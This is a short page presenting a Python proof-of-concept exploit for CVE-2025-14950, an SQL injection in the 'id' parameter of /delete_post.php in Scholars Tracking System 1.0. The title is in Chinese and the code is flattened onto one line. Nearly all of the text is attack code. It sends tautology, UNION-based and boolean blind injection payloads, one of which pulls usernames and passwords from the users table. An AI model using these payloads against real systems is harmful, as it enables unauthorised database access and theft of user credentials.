CVE-2025-14950 Scholars Tracking System /delete_post.php SQL注入漏洞

# CVE-2025-14950 SQL Injection PoC for Scholars Tracking System 1.0 # Target: /delete_post.php # Parameter: ID import requests import sys target_url = "http://target.com/delete_post.php" # Basic SQL Injection test payload def test_basic_injection(): """Test basic SQL injection vulnerability""" params = { 'id': "1' OR '1'='1" } response = requests.get(target_url, params=params) return response # Union-based injection to extract database version def extract_db_version(): """Extract database version using union injection""" params = { 'id': "1' UNION SELECT 1,version(),3,4,5-- -" } response = requests.get(target_url, params=params) return response.text # Extract database name def extract_db_name(): """Extract current database name""" params = { 'id': "1' UNION SELECT 1,database(),3,4,5-- -" } response = requests.get(target_url, params=params) return response.text # Extract users table data def extract_users(): """Extract user credentials from database""" params = { 'id': "1' UNION SELECT 1,username,password,4,5 FROM users-- -" } response = requests.get(target_url, params=params) return response.text # Boolean-based blind injection for data extraction def blind_injection_test(): """Test blind SQL injection""" # True condition params_true = { 'id': "1' AND 1=1-- -" } # False condition params_false = { 'id': "1' AND 1=2-- -" } resp_true = requests.get(target_url, params=params_true) resp_false = requests.get(target_url, params=params_false) return resp_true, resp_false if __name__ == "__main__": print("[+] CVE-2025-14950 SQL Injection PoC") print("[+] Target:", target_url) print("[*] Testing basic injection...") test_basic_injection() print("[+] Injection test completed")